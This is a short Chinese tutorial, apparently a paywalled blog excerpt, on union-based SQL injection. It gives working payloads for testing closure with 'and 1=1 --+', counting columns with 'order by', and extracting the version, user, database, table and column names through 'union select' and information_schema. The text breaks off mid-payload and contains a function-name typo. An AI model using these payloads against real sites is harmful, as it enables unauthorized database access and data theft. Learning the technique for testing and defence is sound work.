基于联合查询的注入:
1.判断注入点及闭合方式
1)判断闭合方式
闭合方式有很多种,主要有以下几种 无闭合、'、"、')、")、))等情况
2)利用and 1=1 --+ 判断结果
举例 select * from user where id=1 and 1=1 --+ 结果和不加的一致
3)利用and 1=2 --+判断结果
举例 select * from user where id=1 and 1=2 --+ 结果和不加的完全相反
2.判断查询列数及回显位置
order by 数字 数字不能大于数据表种查询字段数量 如何判断出查询列数为4,则可以union select 1,2,3,4
3.union操作符
UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。 SQL UNION语法 SELECT column_n
4.获取数据库信息
1)数据库版本和当前连接用户 用version()函数,user()函数,例: ?id=-1 union select 1,version(),3 --+
2)获取数据库名 用tadabase()函数 ?id=-1 union select 1,database(),3 --+
3)获取表名 a.5.0以上版本利用information_schema数据库 union select x,x,group_concat(table_name)from information_schema.tables where table_schema=database(); b.5.0以下版本只能用盲注
4)获取列名 a.5.0以上版本利用information_schema数据库 union select x,x,gr

本文详细探讨了SQL注入中基于联合查询的注入技术,包括判断注入点、闭合方式、查询列数及回显位置。通过示例展示了如何利用UNION操作符获取数据库信息,如版本、用户、数据库名、表名、列名和数据。完整注入流程包括猜测数据库、表、列以及内容的步骤。
最低0.47元/天 解锁文章
26万+





